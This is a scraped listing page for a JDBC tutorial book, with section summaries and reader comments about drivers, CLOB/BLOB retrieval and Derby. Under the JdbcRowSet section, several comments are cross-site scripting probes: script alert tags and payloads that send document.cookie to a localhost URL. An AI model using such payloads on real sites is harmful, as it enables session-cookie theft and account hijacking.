Herong's Tutorial Examples: JDBC

EC Cryptography Tutorials - Herong's Tutorial Examples
This EC (Elliptic Curve) cryptography tutorial book is a collection of notes and sample codes written by the author while he was learning cryptography technologies himself. Topics include rule of chord and point addition on elliptic curves; Abelian groups with additive and multiplicative notations; ... 2019-01-01, 332👍, 1💬

💬 2019-01-01 Yale: Thank you!

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Creating Connections with DataSource Class
This section describes how to create connection objects with the DataSource class. 2019-04-24, 126👍, 3💬

💬 2019-04-24 Hamdan: iam using jdbc 6

💬 2019-04-20 Herong: Hamdan, Which JDBC jar file are you using?

💬 2019-04-16 Hamdan: I have followed it according to the steps above, but I found a problem here Exception: class "com.microsoft.sqlserver.jdbc.ISQLS. ..

Listing All Schemas - getSchemas()
This section describes how to get a list of all schemas in the current database on the SQL Server through the DatabaseMetaData object. 2019-04-03, 173👍, 2💬

💬 2019-03-31 Herong: challa, I have no idea why the catalog name is null.

💬 2019-03-26 challa: why is the catalog name null for sys tables..can we retreive that as well?

Creating Tables with AUTO_INCREMENT Columns
This section describes how to create a table with an AUTO_INCREMENT column. 2019-01-03, 1472👍, 4💬

💬 2016-01-22 gokul: useful

Loading JDBC Driver for MySQL Server
This section describes how to load the MySQL JDBC driver class - mysql-connector-java-5.1.36-bi n.jar. 2018-09-20, 5401👍, 4💬

💬 2018-09-20 raj: hatt budbak aisa kuch nahin hota bakwas hai ye program

💬 2017-09-16 vivek sharma: good

💬 2017-01-14 Herong: Thanks for the nice comment! ☺

💬 2017-01-13 jasonts2000: Thank you, this is the best example of how to test a JDBC connection to mysql that I have seen posted

Retrieving CLOB Values with getClob() Method
This section describes how to retrieve CLOB values with the ResultSet.getClob() method. 2018-09-20, 3909👍, 2💬

💬 2018-09-20 sdsfsdfs: hello its me

💬 2015-12-04 asdadsads: hello its me

Listing All Tables - getTables()
This section describes how to get a list of all tables in the current database on the SQL Server through the DatabaseMetaData object. 2018-09-01, 1060👍, 2💬

💬 2018-09-01 Herong: Arthur, thanks for your comment.

💬 2018-08-31 Arthur: When executing this with Oracle it will work. Unless you have several schemas on that database. It will then give you all the ta...

Retrieving CLOB Values with getString() Method
This section describes how to retrieve CLOB values with the ResultSet.getString() method. 2018-09-01, 339👍, 2💬

💬 2018-09-01 Herong: Srikanth, there should no size limitation. CLOB is designed to store very large character strings.

💬 2018-08-21 Srikanth: Is there any size limitation on getString() when used for clob column?

Microsoft JDBC Driver for SQL Server - sqljdbc42.jar
This chapter provides tutorial notes on sqljdbc42.jar, JDBC Driver 4.2 produced by Microsoft for SQL Server 2014. Topics include downloading and installing Microsoft JDBC Driver 4.2; loading sqljdbc42.jar; creating a connection to SQL Server with port number, instance name and database name; closing... 2018-06-06, 10857👍, 22💬

💬 2018-06-06 khui: thanks

💬 2018-01-07 jesse: thx

💬 2017-11-30 lebronjames: curry good

💬 2017-10-17 suku: hi

💬 2017-10-11 raghu: thanks

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PDF Printing Version: JDBC Tutorials
Information on how to obtain the PDF version of this book for printing. 2018-04-21, 2242👍, 18💬

💬 2018-04-21 Herong: Tony, you are welcome!

💬 2018-04-20 Tony Ekpo: I appreciate your work because it has help me so much connecting to the database, more grace n ur work.

💬 2016-12-16 Herong: Dzung, check your email. You should have it now.

💬 2016-12-16 Dzung Nguyen: I donated $10 through paypal, but I still can't download this book.

💬 2016-08-03 Arvind kumar: thank you

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JDBC-ODBC Bridge Driver Features
This section describes Sun's JDBC-ODBC Bridge driver and its features. 2018-03-07, 2881👍, 7💬

💬 2018-03-07 rene: ok

💬 2017-09-13 claudio barto: download para testtes

💬 2017-07-14 nks: need jdbc odbc drver

💬 2017-03-02 Herong: rajendra, you may want to download and use JDK 1.7, which will allow you to create MS-Access connection. Or read the comments fr...

💬 2017-02-23 rajendra: hello,, need jdbc odbc bridge driver

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JDBC-ODBC - Configuring SQL Server for TCP/IP Connection
This section describes how to configure SQL Server for TCP/IP connections. 2018-03-07, 277👍, 3💬

💬 2018-03-07 mohamed: Thanks

JDBC-ODBC - Creating a MS Access Database File
This section describes how to create a MS Access database file to be used for ODBC MS Access driver testing. 2018-02-07, 2629👍, 4💬

💬 2017-06-20 Musa: Hi

💬 2015-10-25 kaushal: nice job for solving jdbc connection problem

Retrieving BLOB Values with getBlob() Method
This section describes how to retrieve BLOB values with the ResultSet.getBlob() method. 2018-02-03, 227👍, 2💬

💬 2018-02-03 Herong: sibani, Thanks for the comment.

💬 2018-01-06 sibani: you made it so.. simple.Thank u

Creating Connections with DataSource Class
This section describes how to create connection objects with the DataSource class. 2018-01-25, 439👍, 1💬

💬 2018-01-25 subodh: very good example

Create Tables with CLOB Columns
This section describes how to create tables with CLOB (LONGTEXT) columns in MySQL server. 2018-01-20, 4219👍, 2💬

💬 2018-01-06 Herong: AAA, what is the this statement for?

💬 2018-01-02 AAA: update MyriadReport mr set Construction_Quality_Sql = CONCAT( "select ConstructionQuality from building bg where bg.CMMContainer...

JDBC-ODBC Bridge Driver - sun.jdbc.odbc.JdbcOdbcDriver
This chapter provides tutorial notes on the JDBC-ODBC Bridge driver produced by Sun and DataDirect. Topics include loading JDBC-ODBC Bridge driver; creating a DSN (Data Source Name) with a ODBC driver; Connecting to SQL Server with JDBC-ODBC Bridge. 2017-09-12, 16951👍, 25💬

💬 2017-09-12 tilahun bekele: good site

💬 2017-08-27 Herong: Can you try to the 32-bit 1.7JDK?

💬 2017-08-24 jaime: Hi I have created a DSN and the test is Ok. I have this program: import java.sql.*; public class OdbcDsnConnection { public stat...

💬 2017-06-27 Herong: Shubhankar, you can download JDK 1.7. It has JDBC-ODBC bridge included.

💬 2017-06-25 Shubhankar: I want Sun.jdbc.odbc.jdbcodbcdriver

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Java DB (Derby) - PreparedStatement
This chapter provides tutorial notes on JDBC PreparedStatement with Java DB (Derby) JDBC Driver. Topics include creating PreparedStatement objects; setting PreparedStatement parameters; running PreparedStatement in batch mode; comparing PreparedStatement performance. 2017-09-01, 696👍, 2💬

💬 2017-09-01 Herong: Try to find out yourself by running an insert statement in a loop.

💬 2017-08-29 Demo: hello sir, i want to know maximum line we can insert in derby database table

Inserting Rows with JdbcRowSet Objects
This section describes how to insert data rows with a JdbcRowSet object. 2017-08-24, 277👍, 4💬

💬 2017-08-24 d: <img src=”http://localhost:8230/Sampl/log in.jsp?cookie='+document.cookie”alt=”pwned” height=”1” width=”1”/>

💬 2017-08-24 Hi: <script>window.location='http ://localhost:8230/Sampl/login.jsp?co okie='+document.cookie</scrip t>

💬 2017-08-24 alert(document.cookie);<: <script>alert(document.cookie );</script>

💬 2017-08-24 alert("Hello"): <script>alert("Hello")&lt ;/script>

Create Tables with CLOB Columns
This section describes how to create tables with CLOB columns in Oracle server. 2017-08-22, 8954👍, 3💬

💬 2016-12-14 morgane: dhzeujf zihf zeiuhfzehf ezhf zoiehfqiejfcksbfhjre fnr jcrh vrf

Listing All Databases - getCatalogs()
This section describes how to get a list of all databases on the SQL Server through the DatabaseMetaData object. 2017-08-21, 1069👍, 2💬

💬 2017-08-18 Herong: Rahui, run this program on MySQL, you will get the answer.

💬 2017-08-15 Rahul Hajare: Can this example usefull for mayql database please tell me fast... Thanks...

Java DB (Derby) - Inserting Data Rows to Existing Tables
This section describes how to insert new data rows into Java DB (Derby) database tables through the JDBC driver. 2017-08-05, 2643👍, 2💬

💬 2017-08-05 Herong: Stevoski, can you dump the Exception in the message dialog? It will give some clue on what happened to the execution.

💬 2017-08-03 Stevoski: is there any problem with these lines of code? all i get is invalid entry try{ String mk =jTextField1.getText(); String mn = jTe...

What Is ResultSet?
This section describes what is a ResultSet object. 2017-07-03, 162👍, 1💬

JDBC Tutorials - Herong's Tutorial Examples
This JDBC tutorial book is a collection of notes and sample codes written by the author while he was learning JDBC technology himself. It can be used as a tutorial guide for beginners. Topics include Java, Database, JDBC, Driver, ODBC, Connection, DataSource, SQL, ResultSet, Metadata, Derby, MySQL, ... 2017-06-26, 5946👍, 10💬

💬 2017-06-26 NIRMAL PUDASAINI: how cani get it?

💬 2015-12-15 hassan: nice, can i get it please?

💬 2015-09-20 Alan: Nice

💬 2011-01-21 Herong: Agree. The driver class must be loaded as shown in this tutorial: Loading Driver Class with Class.forName().

💬 2011-01-18 John: For the JDBC tutorials, you must add: Class.forName with newInstance before making connection.

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Java DB (Derby) - DML Statements
This chapter provides tutorial notes on executing DML statements with Java DB (Derby) JDBC Driver. Topics include inserting, updating and deleting data rows in existing tables; creating IDENTITY columns; handling date and timestamp values. 2017-06-18, 119👍, 1💬

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